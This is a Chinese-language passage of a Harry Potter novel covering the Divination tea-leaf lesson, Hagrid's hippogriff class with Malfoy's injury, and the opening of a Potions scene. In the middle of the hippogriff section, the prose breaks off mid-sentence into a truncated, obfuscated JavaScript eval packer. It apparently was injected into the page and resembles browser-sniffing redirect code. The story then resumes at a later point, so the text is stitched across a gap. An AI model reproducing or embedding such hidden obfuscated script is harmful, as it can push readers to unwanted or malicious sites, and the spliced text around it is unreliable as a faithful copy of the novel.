“是啊,我们会叫你的,”罗恩咕哝着说,这时骑士消失了,“如果我们需要什么疯子的话。” 他们爬上最后几级楼梯,登上一处小小的平台,这个班级的人多数都在这里了。楼梯平台上没有门。罗恩推推哈利,指指天花板,那里有一个圆形的活板门,门上有一块铜牌。 “西比尔·特里劳妮,占卜课教授。”哈利读道。“我们怎么样才能上去呢?” 好像是回答他的问题似的,那扇活板门突然打开了,一道银色的梯子正放在哈利脚前。大家都安静下来了。 “你先上。”罗恩说,露齿而笑,于是哈利就这样第一个上去了。 他来到一间从来没有见过的最古怪的教室。实际上,这根本不是教室,倒更像是阁楼和老式茶馆的混合物。 至少有二十张圆形的小桌子挤在这间教室里。每张桌子周围都有印度印花布的扶手椅和鼓鼓囊囊的小坐垫。每样东西都由一道暗淡的猩红色光线照亮着。窗帘都拉拢了,许多灯都披有深红的灯罩。教室里暖和得令人感到郁闷,壁炉里塞得满满的,火上烧着一个大铜壶,于是火焰就发出一种沉闷、发腻的香味。圆形墙壁周边都是架子,架子上放满了灰尘满面的羽饰、蜡烛头、破旧扑克牌、无数银色的水晶球和一大堆茶具。 罗恩紧跟着哈利上来了,全班同学都围着他们站着,在悄声说话。 “她在哪里?”罗恩说。 阴影里突然传来一个声音,是那种轻柔模糊的嗓音。 “欢迎,”那声音说道,“最后能在有形世界看到你们,真好。” 给哈利的第一印象是来了个发光的大昆虫。特里劳妮教授走进火光照耀的地方,他们看到她非常瘦:她的大眼镜把她的眼睛放大了好几倍,她披着一条轻薄透明纱罗似的闪闪发光的披巾,细长的脖子上挂有无数项链和珠子,双臂和双手都戴有手镯和指环。 “坐,我的孩子,坐。”她说,于是他们都笨拙地爬到扶手椅上,或者陷到鼓鼓囊囊的坐垫里去了。哈利、罗恩和赫敏坐在同一张圆桌旁边。 “欢迎来上占卜课,”特里劳妮教授说,自己坐在壁炉前面一张有翼的扶手椅上,“我是特里劳妮教授,你们以前可能没有见过我。我发现过于频繁地介入学校熙攘忙碌的生活,使我的天目模糊。” 对于这样不寻常的宣言,谁也没有说什么话。特里劳妮教授细致地重新整理了一下披巾,继续说:“你们选了占卜课,这是所有魔法艺术中最难的课程。我必须一开始就警告你们:如果你们不具备‘视域’,那我能教你们的东西就很少了,在这方面,书本只能带你们走这么远...” 听完这番话,哈利和罗恩都笑着看赫敏,赫敏听到这门课的书本没有多大用,显得很吃惊。 “许多女巫和男巫,尽管他们在发出猛烈的撞击声、气味和突然隐形等方面很有天赋,却不能拨开迷雾看透未来。”特里劳妮教授继续说下去,她那巨大发光的眼睛从这张脸转到那张脸上。“这种天赋的才能只有少数人才有。你,男孩,”她突然对纳威说,纳威差点儿从他的坐垫上掉下来,“你奶奶好吗?” “我想是好的。”纳威颤抖着说。 “我要是你,我可不这么肯定,亲爱的。”特里劳妮教授说,火光在她长长的祖母绿耳环上反射着红光。 纳威喘不过气来。特里劳妮教授平静地继续说:“今年我们学习各种基本的占卜方法。第一学期都用在解读茶叶上。下学期我们应该学习手相术。顺便提一句,我亲爱的,”她突然对帕瓦蒂·帕蒂尔说,“提防红头发的男子。” 帕瓦蒂害怕地看了一眼罗恩,罗恩正好坐在她后面。帕瓦蒂把自己的椅子移得离开了罗恩一些。 “在夏季学期,”特里劳妮教授继续说,“我们将学习看水晶球——如果我们已经学完了火焰预兆的话。不幸的是,二月份,一场恶性流感会迫使班级停课。我自己会失音。在复活节前后,我们之中会有一个人永远离开大家。” 她说完这番话之后,教室里一片紧张的沉默,但特里劳妮教授似乎对此毫无感觉。 “我想,亲爱的,”她对拉文德·布朗说,她坐得最近,吓得缩在椅子里,“你能不能把那个最大的茶壶递给我?” 拉文德看上去松了一口气,站起来,从架子上拿了一把巨大的茶壶,放在特里劳妮教授面前的桌子上。 “谢谢你,亲爱的。顺便说一下,你害怕的那件事情——会在十月十六日,星期五那天发生。” 拉文德抖起来了。 “现在,我要你们大家分成两个组。从架子上拿一个茶杯,到我这里来,我会往杯子里倒茶。然后你们坐下来,喝茶,喝到杯子里只剩下茶叶。用左手将茶叶渣晃荡三次,然后将茶杯翻转,扣在茶杯托上。等到最后一点茶水流光,把茶杯交给你的伙伴解读。你们可以利用《拨开迷雾看未来》这本书的第五页、第六页的内容,来解读茶叶渣的形状。我将在你们中间行走,帮助你们,指示你们。哦,还有亲爱的——”她抓住纳威的手臂,把他拉了起来,“在你打碎第一个茶杯以后,你能不能从蓝色花样的茶杯中挑选一个呢?我很喜欢那种粉红的。” 没错,纳威刚走到放茶杯的架子面前,就传来瓷器破裂的声音。特里劳妮教授拿着簸箕和扫帚急忙走过去并且说:“那么,如果你不介意的话,拿一个蓝色的...谢谢你...” 哈利和罗恩的茶杯都注满了茶水以后,他们回到自己的桌子旁边,设法把滚烫的茶迅速喝完。他们如特里劳妮教授教导的那样晃荡了茶叶渣,然后把茶杯弄干,再互相交换茶杯。 “好啦,”罗恩说,两人同时把书翻到第五和第六页,“你在我的茶杯里看到了什么?” “许多泡开了的棕色东西。”哈利说。教室里浓重的带香味的烟雾弄得他糊里糊涂地想睡觉。 “开阔思路,亲爱的,让你们的眼睛越过世俗的东西!”特里劳妮教授在黑暗处叫道。 哈利极力想振作起来。 “好,你现在有了一种摇摇晃晃的十字架..”他说,一面查阅《拨开迷雾看未来》,“这意味着你就要遇到考验和苦难——对此我感到遗憾——但是这里有个东西,好像是太阳。等一等...这意味着大快乐...所以你要倒霉,但是又会很快乐...” “要是你问我,我就要说你需要测试一下你的天目。”罗恩说,两人都不得不使劲忍住笑,因为特里劳妮教授正往他们这里看。 “轮到我了...”罗恩向哈利的茶杯里看,他的前额因为努力而皱了起来。“这儿有一团东西,像是一顶圆顶硬礼帽,”他说,“也许你要为魔法部工作了...” 他把茶杯向另外一边侧过去。 “但这么看就更像是一颗橡子..那是什么?”他猛翻自己那本《拨开迷雾看未来》。“意外之财,意料不到的黄金。棒极了,你可以借给我一些。这里还有个东西,”他又把茶杯转了一下,“这看上去像是一头动物。对,如果说那是脑袋的话...它看起来像河马...不,像羊...” 哈利一阵大笑,特里劳妮教授飞快地转过身来。 “让我看看,亲爱的。”她不高兴地对罗恩说,迅速走过来,一把夺过罗恩手里的茶杯。大家都安静下来,看着。 特里劳妮教授瞪着那茶杯,一面把茶杯向逆时针方向转动着。 “猎鹰...亲爱的,你有死敌。” “但是谁都知道这件事啊。”赫敏大声嘀咕道。特里劳妮教授瞪着她。 “唔,是这样的,”赫敏说,“大家都知道哈利和神秘人。” 哈利和罗恩瞪着她,又惊讶又佩服。他们还从来没有听到赫敏这样对老师说话。 特里劳妮教授故意不予回答。她那双大眼睛又往哈利的茶杯里看,而且继续转动茶杯。 “大棒...一次袭击。亲爱的,亲爱的,这可不是个幸运的茶杯...” “我还以为那是一顶圆顶硬礼帽呢。”罗恩局促不安地说。 “头盖骨...前途有危险,亲爱的...”大家都目瞪口呆地看着特里劳妮教授,她最后又将茶杯转动了一次,喘气,然后尖叫起来。又响起一声瓷器破碎的声音:纳威打碎了第二个杯子。 特里劳妮教授一下子就坐进了一张空扶手椅里,她那发亮的手抚着她的心口,双眼紧闭。“我亲爱的孩子——我可怜的、亲爱的孩子——不——不如不说出来的好——不——别问我...” “怎么啦,教授?”迪安·托马斯立即说。大家都站了起来,都慢慢地围在哈利和罗恩那张桌子旁边,更靠近特里劳妮教授的扶手椅,以便把哈利的茶杯看得清楚些。 “我亲爱的,”特里劳妮教授的大眼睛戏剧性地睁开了,“你有不祥。” “我有什么?”哈利说。他明白他不是唯一听不懂这个词儿的人:迪安·托马斯对他耸耸肩,拉文德·布朗一脸迷惑,但其他人几乎都抬手捂住嘴,因为他们感到恐怖。 “‘不祥’,我亲爱的,‘不祥’!”特里劳妮教授叫道,哈利竟然不懂,她感到震惊。“在墓地游荡的那条鬼怪似的大狗!我亲爱的孩子,这是凶兆——最坏的凶兆——死亡的预兆!” 哈利的胃痉挛起来。书店里那本《死亡预兆》封面上的那条狗——在木兰花新月街阴影里的那条狗。拉文德·布朗也把手捂到了嘴上。大家都看着哈利。 只有赫敏除外,她站了起来,绕到特里劳妮教授的椅子背后。 “我看这不像是不祥。”她直截了当地说。特里劳妮教授打量着赫敏,越发不喜欢她了。 “我这么说,你别不高兴,亲爱的,我发觉环绕你的光环很小。对于未来共鸣的接受力很差。” 西莫·斐尼甘不断摇头。“如果你这么看,看起来就像不祥了,”他说,眼睛几乎是闭上的,“但是从这边看,又像是头驴子。”他说.边向左靠去。 “你们什么时候才能全体决定我到底会不会死!”哈利说,自己不觉也吃了一惊。现在似乎谁也不想看着他了。 “我想今天的课就上到这里吧,”特里劳妮教授说,用的是她最模糊的嗓音,“请收拾好你们的东西..” 整个班级默默地把茶杯还给了特里劳妮教授,合上书,收拾起书包。就连罗恩也不敢正视哈利。 “在我们再见面以前,”特里劳妮教授虚弱地说,“祝大家好运。哦,亲爱的——”她指指纳威,“下堂课你会迟到,所以,记着要额外努力才能赶上大家。” 哈利、罗恩和赫敏一言不发地走下占卜课教室的楼梯和螺旋形楼梯,然后去上麦格教授的变形课。他们花了很长时间才找到了教室,所以,尽管早就离开了占卜课教室,他们也不过刚刚赶上点。 哈利挑了个后排座位,觉得自己好像是坐在特别显眼的地方一样。班上其他人不断向他投来鬼鬼祟祟的目光,好像他随时都会倒地而死。麦格教授在对他们讲授有关阿尼马格斯(能够使人随心所欲地变成各种动物的魔法)的知识。他几乎全没听进去,她在众目睽睽之下变成了一只花斑猫,眼睛周围有眼镜的痕迹,哈利甚至看都没看。 “说真的,你们今天都怎么了?”麦格教授说,这时,伴随着轻微的噗的一声。她已经变回原形,并且环视着这些学生。“这倒不要紧,不过我的变形没有博得全班的掌声,这还是第一次。” 大家的脑袋都再次转向哈利,但没人说话。这时赫敏举起了手。 “教授,我们刚刚上了占卜课,我们读解茶叶,而且——” “啊,当然,”麦格教授说,突然皱起了眉头,“没有必要再说下去了,格兰杰小姐。告诉我,今年你们之中谁会死啊?” 大家都瞪眼看着她。 “我。”最后哈利说。 “明白了。”麦格教授说,她那双小圆眼睛盯着哈利看,“那么,波特,你应该知道,西比尔·特里劳妮自从到这所学校以来,每年都预言一名学生死亡。到现在.他们还没有一个死的。预见死亡征兆是她喜爱的欢迎新班学生的方式。如果我不是从来不说同事坏话的人——”麦格教授停了下来,他们看见她的鼻孔发白了。 她继续说,平静了一些,“占卜学是魔法学中最不准确的科目之一。不瞒你们说,我对占卜最没耐心。真正能预见未来的人非常少,而且特里劳妮教授...” 她又停了下来,然后说,腔调是非常实事求是的,“我看你身体极其健康,波特,所以,如果我今天在家庭作业方面不轻轻放过你的话,你别怪我。我保证,如果你死了,就不用交这份作业了。” 赫敏大笑起来。哈利觉得好一点儿了。现在,要被特里劳妮教授的教室里那种令人迷惑的香气、模糊的红色光线,再加上一团茶叶吓着,似乎困难一点儿了。然而,不是所有人都信服这番话的。罗恩似乎仍旧担心,拉文德悄声说道:“那纳威的茶杯是怎么回事呢?” 变形课下课以后,他们和大家一起闹哄哄地走向礼堂去吃午饭。 “罗恩,高兴起来,”赫敏说着把一碟调料向他推过去。 “你听到麦格教授是怎么说的了。”罗恩往自己的盘子里舀了一勺调料,拿起了叉子,但并没有开吃。“哈利,”他说,声音低而严肃,“你没有在任何地方看到过一条黑色的大狗,是不是?” “不,我看到过,”哈利说,“我离开德思礼家的那天晚上。” 罗恩的叉子咔哒一声掉在了桌上。 “可能是条迷路的狗吧。”赫敏镇静地说。 罗恩看着赫敏,好像她已经发疯了似的。 “赫敏,如果哈利看见了不祥,那就——那就糟了。”他说,“我的——我的叔叔比利尔斯就见过一条,然后——然后,二十四小时之后他就死了!” “巧合罢了。”赫敏轻描淡写地说,给自己倒了些南瓜汁。 “你不知道你在说些什么!”罗恩说,开始生气了。“不祥让多数巫师吓得魂不附体!” “那你算说对了,”赫敏带有优越感地说,“他们看到了不祥然后就吓死了。不祥不是凶兆,而是死亡的原因!哈利仍旧和我们在一起,因为他没有笨到看见它以后就想:‘好吧,我不如突然死去吧!” 罗恩对着赫敏,张口结舌。赫敏打开书包拿出她的新算术占卜课本,打开,再把这本书靠在果汁罐上。 “我认为占卜课好像稀里糊涂的,”她说,翻着书页,“有许多地方是靠猜的,要是你问我的话。” “那个茶杯里的不祥可是清清楚楚的!”罗恩激烈地说,“特里劳妮教授说你的光环不对头!你就是不喜欢自己在哪件事上不行。” 他触到痛处了。赫敏把算术占卜书啪的一下摔到桌上,动作如此之重,以至肉末和胡萝卜末飞得到处都是。 “如果说占卜学成绩好就意味着,我必须假装在一团茶叶渣里看到了死亡的凶兆,那我没准还不学这门课了呢!同我的算术占卜课相比,这门课完全是垃圾!” 她一把抓起书包,走了。 罗恩双眉紧皱目送着她。 “她在说什么呀?”他对哈利说,“她的算术占卜课还没有开始呢。” 午饭后离开城堡的时候,哈利很高兴。昨天的雨已经停了,天空晴朗,呈浅灰色,脚下的草地松软而潮湿,这时他们去上第一堂保护神奇生物课。 罗恩和赫敏彼此不说话。哈利沉默着走在他们旁边,他们正走下斜坡到禁林边上海格的小屋里去。 直到他看到前面走着三个非常熟悉的背影时,这才明白他们必须和斯莱特林的学生一起上这门课。 马尔福正活泼地和克拉布、高尔说话,这两人在咯咯地笑。哈利知道他们在笑什么。 海格在小屋门旁等待他的学生。他身穿鼹鼠皮大衣,猎狗牙牙在他脚下,似乎急于出发。 “来吧,快点快点!”他叫道,这时学生们已经走近了。“今天可有好东西款待你们!马上就要上精彩的一课!大家都到了吗?好,跟我来!” 有那么一会儿令人难受的时刻,哈利以为海格要把他们领到林子里面去:哈利在那林子里有过不愉快的经历,足使他终生难忘。然而,海格只领着他们沿着林子边缘走,五分钟以后,他们已经置身于一片围场似的地方外面了。那里什么也没有。 “大家都到这道篱笆边上来!”他叫道,“这就对了——站到你看得见的地方。现在,你们要做的第一件事就是打开书本——” “怎么打开?”德拉科·马尔福用他那冷淡、拖长的声调说。“嗯?”海格说。 “我们怎么打开书本呀?”马尔福又说了一遍。他拿出他的《妖怪们的妖怪书》,他已经用一根绳子把它绑上了。别的人也拿出书来;有些人,像哈利那样,也把他们的书捆好了。别的人则把这本书放在牢固的袋子里或是用大夹子夹住。 “没有——没有人能够打开这本书吗?”海格说,看上去垂头丧气的。全班学生都摇头。 “必须捋捋这些书。”海格说,好像这是世界上最明白不过的事了,“看...” 他拿过赫敏的书,撕掉捆住书的胶纸。这本书想要咬人,但海格的食指在书脊上从上到下一滑,这本书就抖了起来,然后打开了,安安静静地躺在他手上。 “哦,我们多么笨啊!”马尔福冷嘲道,“我们应该捋捋这些书!我们怎么就没有想到呢!” “我...我认为这些书滑稽可笑。”海格对赫敏犹犹疑疑地说。 “哦,滑稽可笑得不得了!”马尔福说,“真聪明,给我们用想撕掉我们手的书!” “住嘴,马尔福。”哈利安静地说。海格显得垂头丧气,而哈利希望海格的第一堂课成功。 “说得对,”海格说,他似乎思路乱了,找不到词儿,“那么...那么你们都有书了...哦...现在你们需要的只是神奇生物了。对。我这就去找它们。等等。” 他离开学生走到林子里去了。一会儿就走得看不见了。 “上帝,这地方要完蛋了。”马尔福大声说,“这种蠢人来教我们,要是我告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你总要等待鹰头马身有翼兽先采取行动,”海格继续说道,“这是礼貌,懂吗?你向它走过去,你鞠躬,然后你等着。如果它也向你还礼,你就可以碰碰它了。如果它不鞠躬,那就赶快离开它,因为这些爪子要伤人的。” “好吧——谁第一个来?”作为回答,全体学生大都往后退着。就连哈利、罗恩和赫敏也觉得害怕。怪兽们正在愤怒地摇晃脑袋,展开强大有力的双翼。它们似乎不乐意像这样受到束缚。 “没有人吗?”海格问,露出请求的神色。 “我来。”哈利说。 他身后有人深深地吸了口气,拉文德和帕瓦蒂都低声道:“哦,不,哈利,想想你的茶叶!” 哈利不理他们。他爬过那道围场的篱笆。 “好样的,哈利!”海格叫道,“好——让我们看看你和那头叫巴克比克的怪兽相处得怎么样。”他解开了一条链子,把巴克比克从同伴身边拖开并且退下它的皮颈圈。围场那边的全体学生好像都屏住了呼吸。马尔福的眼睛恶意地眯起来。 “放松,好,哈利,”海格安静地说,“你和它必须相互注视,想办法不要眨眼——如果你眼睛眨得厉害。怪兽就不信任你...” 哈利的眼睛快要流泪了,但他没有闭上眼睛。巴克比克已经把它那大而尖的脑袋转过来了,正用一只狂怒的橘黄色眼睛看着哈利。 “这就对了,”海格说,“这就对了,哈利...现在,鞠躬...” 哈利很不愿意把自己的后脖子亮给巴克比克,但是他照做了。他略略鞠了一躬,然后直起身来看。 那头怪兽仍旧满怀敌意地看着他。它没有动。 “啊。”海格说,听上去有些担忧的意味。“好吧——后退吧,现在。哈利,放松地后退——” 但就在这时,让哈利大为惊奇的是,那怪兽突然弯下它有鳞的前膝,身子往下沉,明显不过地是在鞠躬。 “干得好,哈利!”海格欣喜若狂地说,“对——你现在可以碰碰它了!拍它的喙,拍吧!” 哈利感到要是不去拍,一件更好的礼物就要失去。他慢慢地向那怪兽走去,并且向它伸出手来,在它的喙上拍了好几下。那怪兽懒懒地闭上眼睛,好像很喜欢他这么拍。 全体同学鼓起掌来,但马尔福、克拉布和高尔除外,他们看上去很失望。 “好,哈利,”海格说,“我想它也许愿意让你骑它呢。” 这可是超出了哈利的愿望。他习惯骑飞天扫帚,但是他拿不准骑怪兽是不是跟骑扫帚一样。 “你从这里爬上去,正好在翅膀关节的后边,”海格说,“当心不要拉掉它的羽毛,它不喜欢你这样做...” 哈利把一只脚放在巴克比克的翅膀上,爬到它的背上。巴克比克站了起来。 哈利不知道该抓住哪里;他面前的每一块地方都罩上了羽毛。 “继续下去啊!”海格叫道,拍了拍这头怪兽的臀部。 事先没有警告,十二英尺长的双翼在哈利的两旁展开了。哈利在向上飞时,及时抓住了怪兽的脖子。这和骑扫帚一点儿也不一样,哈利知道自己宁愿骑哪一种:怪兽的双翼在他两旁鼓动着,不停地碰着他的腿,令人不舒服,让他觉得好像就要掉下来了。滑亮的羽毛在他手指下面滑动,他不敢抓得很牢。怪兽的臀部随着双翼起落,哈利觉得自己前后颠簸,真不如光轮2000那种平滑的感觉舒服。 巴克比克载着他在围场上空飞了一圈,然后回到了地面:这一着正是哈利一直害怕的。那光滑的脖子低下去了,哈利向后靠去,觉得自己要从它的喙上滑下来了;然后,怪兽搭配不匀称的四条腿着了地,哈利感觉到一下沉重的撞击,好不容易才抓住了没掉下来。并且让自己再次直了直身子。 “干得好,哈利!”海格叫道,除了马尔福、克拉布和高尔以外,大家都欢呼起来。“好啦,谁还想试一试?” 全体同学从哈利身上得到了鼓舞,都小心谨慎地进了围场。海格一个一个地解开链子,不久,围场上到处都有人紧张地鞠着躬。纳威几次从他的怪兽面前逃了回去,那头怪兽似乎不想弯下它的膝盖。罗恩和赫敏对着一头栗色的怪兽鞠躬,哈利在一旁看着。 马尔福、克拉布和高尔要了巴克比克。它对马尔福鞠了躬,马尔福正拍着它的喙,一副嫌恶的样子。 “这很容易,”马尔福拖长声调说,声音响得足以让哈利听见,“要是波特能做到的话,我知道那一定是特别容易的...我打赌你一点也不危险。是不是?”他对那头怪兽说,“你不危险吧,你这头丑陋的大畜生?” 钢灰色的爪子一挥。马尔福发出一声尖叫,海格马上把还在挣扎着、要扑向马尔福的巴克比克努力套回它的颈圈里。马尔福在草地上蜷成一团。长袍上有块块血迹。 “我要死了!”马尔福大叫,全体慌作一团。“我要死了,看呀!它杀了我!” “你不会死的!”海格说,脸色极其苍白。“谁来帮帮我——必须把他从这里抬走——” 赫敏跑去打开大门,而海格轻易地举起马尔福。他们走过的时候,哈利看到马尔福臂上有一道又深又长的口子,血流到了草上,海格带着他奔上斜坡,向城堡跑去。 保护神奇生物课的学生大为震惊,都跟在后面。斯莱特林的学生一起大声嚷嚷着关于海格的话。 “他们应该马上开除他!”潘西·帕金森说,满脸是泪。 “是马尔福的错!”迪安·托马斯厉声说。克拉布和高尔威胁地鼓动肌肉。 大家爬上了石阶,来到空无一人的前厅。“我去看看他是不是没事了!”潘西说,大家都看着她奔上那道大理石楼梯。 斯莱特林的学生们仍旧在说着海格,一面走向城堡主楼,他们的公共休息室去了。 哈利、罗恩和赫敏上楼到格兰芬多的塔楼去了。“你们说他不会有事吧?”赫敏紧张地说。 “当然不会有事啦,庞弗雷夫人大约一秒钟就能把伤口缝好。”哈利说,护士长曾经神奇地给他治好比这严重得多的创伤。 “不过海格的第一课发生这样的事情,真是太糟了,对不对?”罗恩说,一副担心的样子。 “马尔福肯定会把事情搞得一团糟...”晚饭时分,他们是第一批到达礼堂的,希望在那里看到海格,但是他不在那里。 “他们不会开除他吧,会吗?”赫敏焦急地问道,面前的牛排和腰子布丁动也没动。 “他们最好别开除他。”罗恩说,他也没有吃。 哈利正在看斯莱特林的桌子,包括克拉布和高尔在内的一大群人挤在一起,谈得正起劲。哈利肯定他们在编造有关马尔福如何受伤的说法。 “好吧,你们总不能说这第一节课没趣吧。”罗恩阴郁地说。晚饭以后他们上楼到格兰芬多院的公共休息室去了,想做麦格教授布置的作业,但三个人都时不时地停下来,而且老是向塔楼的窗外看。 “海格的窗子有灯光。”哈利忽然说。罗恩看看他的表。 “如果我们赶快,我们可以下楼去看他,时间还早...” “我不知道。”赫敏慢慢地说,哈利看到她向自己瞥了一眼。 “我可以穿行场地,”他直截了当地说,“小天狼星布莱克还没有越过摄魂怪吧,是不是?”这样他们就收拾好东西,走出肖像画上的洞,高兴的是一路上没有遇到任何人就走到了大门口,他们拿不准是不是允许他们出去。 草地还是湿的,在暮色中看上去几乎是黑色的。他们走到海格的小屋,敲了门,一个声音吼道:“进来。” 海格只穿着衬衣坐在他那擦洗干净的木桌旁边,他的猎狗牙牙,脑袋搁在海格的腿上。一眼看去他们就知道海格已经喝了很多酒,他面前放着一个大得和水桶差不多的单柄大酒杯,他似乎很难看清他们。 “恐怕这是个新记录,”他认出了他们之后就口齿不清地说,“我想他们还从来没有过只干了一天的教师。” “没有解雇你吧,海格!”赫敏喘着气说。 “还没有呢,”海格悲哀地说,从单柄大酒杯里又喝了一口不知是什么东西,“不过这只是时间问题罢了,是不是,在马尔福——” “他现在怎么样?”罗恩说,这时他们都坐了下来,“伤得不严重吧?” “庞弗雷夫人尽她所能给他治疗,”海格迟钝地说,“但是他仍旧说很痛...用绷带包扎起来了...还在呻吟...” “他在装假,”哈利马上说,“庞弗雷夫人什么都能治。去年她让我的一半骨头重新生长起来了。马尔福准会拼命利用这件事捞好处的。” “学校主管人员当然都知道了这件事,”海格悲哀地说,“他们认为我冒进了。应该过些时候再让鹰头马身有翼兽上场...完成了弗洛伯毛虫或者别的什么以后再...本来以为能把第一课弄好的...这都怪我...” “这都怪马尔福,海格!”赫敏真诚地说。“我们都是见证。”哈利说,“你说过,如果你侮辱怪兽,它就会攻击。马尔福没听,这要怪他自己。我们会把事情真相告诉邓布利多的。” “对,别担心,海格。我们会支持你的。”罗恩说。泪水从海格乌黑的眼睛褶皱里流了下来。他抓住了哈利和罗恩,把他们拉过去,搂得他们几乎骨头都要断了。 “我认为你已经喝得够多的了,海格。”赫敏坚决地说。她把那单柄大酒杯从桌上拿开,走到外面把酒倒了。 “啊,她也许说得对。”海格说,放开了哈利和罗恩,这两人都踉跄后退,一面抚摸着自己的肋骨。海格费力地从椅子上站了起来,脚步不稳地跟随赫敏走到外边去了。他们听到了响亮的泼水声。 “他做什么了?”哈利紧张地说道,这时赫敏进来了,手里拿着那个大酒杯。 “他把脑袋伸到水桶里去了。”赫敏说着把大酒杯放到了别处。海格回来了,长发和胡子都湿透了,一面抹去眼睛那里的水。 “这就好多了。”他说,像狗一样地摇摇脑袋,水珠飞到了他们的身上。“听着。你们到这里来看我,这是你们对我的好处,我真—— ” 海格忽然住嘴了,瞪眼看着哈利,好像现在才发现他在这里似的。 “你以为你在干什么,嗯?”他吼道,那么突然,吓得他们蹦起老高。“天黑以后你是不应该到处乱逛的,哈利!还有你们两个!竟然让他这样!”海格走到哈利身边,抓住他的手臂,把他向门边拉去。 “走吧!”海格恼怒地说,“我带你们三个回学校,可别再让我看见你们天黑以后到这里来看我。我不值得你们这样做。” 45.衣柜里的博格特 马尔福直到星期四早晨才又出现在班级里,那时斯莱特林和格兰芬多的学生的双院魔药课已经上了一半。 他歪歪倒倒地走进城堡主楼,右臂包在绷带里,还用一根悬带吊着,在哈利看来,他在假装自己是从某次可怕的战斗中生还的英雄。 “怎么样了,德拉科?”潘西·帕金森傻笑着问道,“很痛吗?” “痛啊。”马尔福说,故意扮出一个勇敢的鬼脸。但哈利看见,潘西向别处看的时候,他对克拉布和高尔眨眼。 “坐好,坐好。”斯内普教授懒懒地说。哈利和罗恩彼此愁眉苦脸地对看了一眼。如果是他们迟到了,斯内普不会说“坐好”的,他会关他们禁闭。 但马尔福在斯内普课上不管怎么样,却一直能够平安无事:斯内普是斯莱特林的院长,一般情况下总是优先考虑本院学生。今天他们在制作一种新药剂:缩身溶液。 马尔福恰好把他的坩埚放在哈利和罗恩旁边,这样他们就在同一张桌子上准备药剂的各种成分了。 “先生,”马尔福叫道,“先生,我需要有人帮我切这些雏菊的根,因为我的手臂——” “韦斯莱,替马尔福切根。”斯内普头也没抬地说。 罗恩气得脸像砖头那样红。 “你的手臂根本没问题。”他气鼓鼓地对马尔福说。 马尔福在桌子对面假笑。 “韦斯莱,你听到斯内普教授的话了,切这些根吧。” 罗恩抓起小刀,把马尔福的根拉到自己面前,开始粗粗地切起来,结果切得大小不一。 “教授,”马尔福拖长声音说,“韦斯莱把我的根切成各式各样的了,先生。” 斯内普走近他们的桌子,从他的鹰钩鼻子往下看到桌子上,然后从他那又长又油腻的黑发下面,给了罗恩一种令人不愉快的微笑。 “和马尔福换一下根,韦斯莱。” “但是,先生——” 罗恩刚花了一刻钟仔细地切他自己的根,切得大小完全相等。 “现在。”斯内普用他最带危险性的腔调说。 罗恩将他自己切得那么漂亮的根隔着桌子推给马尔福,然后又拿起了小刀。 “还有,先生,我需要有人替我剥无花果的皮。”马尔福说,声音里充满了恶意的欢笑。 “波特,你可以替马尔福剥无花果的皮。”斯内普说,嫌恶地看了哈利一眼,这种眼色,他是一直保留给哈利的。 哈利拿过马尔福的无花果,这时罗恩开始设法修复现在他不得不用的根。哈利尽快剥好无花果的皮。隔着桌子扔给马尔福,一句话也不说。马尔福笑得越发带有恶意。 “最近看到你们的伙伴海格了吗?”他安静地问他们。 “这不干你的事。”罗恩急促地说,头都没抬。 “恐怕他再也不能当教师了,”马尔福假装忧愁地说,“我爸对我受伤很不高兴——” “说下去,马尔福,我要给你一下真格的。”罗恩咆哮道。 “——他已经向学校主管人员投诉了。还向魔法部投诉了。我爸可是有影响的人,你们知道的。而且像这样一种老也不好的创伤——” 他假模假样地大大叹了口气,“如果我的臂膊再也不能恢复原状,谁知道会怎么样啊?” “所以你就装成这样,”哈利说,突然把一个已经死掉的毛虫的头切了下来,因为他气得手发抖,“好想方设法让海格被开除。” “唔,”马尔福说,声音压低得就像耳语,“部分来说是这样的,波特。但是还有其他好处。韦斯莱,替我切毛虫。” 离他们几个位子的地方,纳威遇到了麻烦。在魔药课上,纳威总是会被弄得精神崩溃。魔药是他学得最不好的课程,而且,由于他十分害怕斯内普,事情就十倍地糟。 他的药剂本来应该是一种亮绿色的酸性物质,却变成—— “橘色的,隆巴顿。”斯内普说,用勺子舀了一点出来,再让它溅回坩埚里,以便大家都能看见。 “橘色的。告诉我,孩子,有什么东西渗透到你的这个厚厚的头盖骨里去了吗?你没有听见我说,很清楚地说,只需要一滴耗子的胆汁吗?难道我没有明白地说,加入少许水蛭的汁液就够了吗?我要怎么讲你才能明白呢,隆巴顿?” 纳威的脸成了粉红色,整个人都在发抖。他好像快要哭出来了。 “先生,”赫敏说,“先生,如果你允许,我帮他改过来行吗?” “我可没有请你炫耀自己,格兰杰小姐。”斯内普冷淡地说,于是赫敏脸和纳威一样地红了。“隆巴顿,今天下课以前,我们要给你的蟾蜍喂几滴这种药剂,看会发生什么事情。也许这样做会鼓励你好好地做这种药剂。” 斯内普走开了,剩下纳威在那里吓得六神无主。 “帮帮我!”他对赫敏呻吟道。 “嘿,哈利,”西莫·斐尼甘说,一面俯身过来借哈利的钢秤。“听到没有?今天早上的《预言家日报》——他们估计小天狼星布莱克已经被盯上了。” “在哪里?”哈利和罗恩迅速地说。桌子那边,马尔福抬头望着,仔细地听着。 “在离这里不远的地方。”西莫说,看上去很兴奋,“看见他的是个麻瓜。当然啦,她并不真正了解。麻瓜们认为他只是普通犯人,对不对?所以她就打热线电话。魔法部的人赶到的时候,他早就走了。” “离这里不太远...”罗恩重复说,意味深长地看着哈利。 他转过身来,发现马尔福仔细地观察着。“怎么,马尔福?需要给什么剥皮吗?” 但是马尔福的眼睛恶意地闪烁着,紧紧地盯着哈利。他向桌子俯过身去。“想单枪匹马地设法抓住布莱克吗,波特?” “对,是这样的。”哈利随口回答。马尔福薄薄的嘴唇弯出一个卑鄙的微笑。 “当然啦,要是我的话,”他安静地说,“我早就会做些什么了。我可不会待在学校里做好孩子,我会到处去找他。” “你在说什么呀,马尔福?”罗恩粗暴地说。 “你难道不知道吗,波特?”马尔福轻声说,他那双淡色眼睛眯了起来。 “知道什么?” 马尔福发出一声低低的嘲笑。 “你也许不愿意冒生命危险,”他说,“希望让那些摄魂怪去对付他,是不是?但我要是你的话,我要复仇。我要自己把他找出来。” 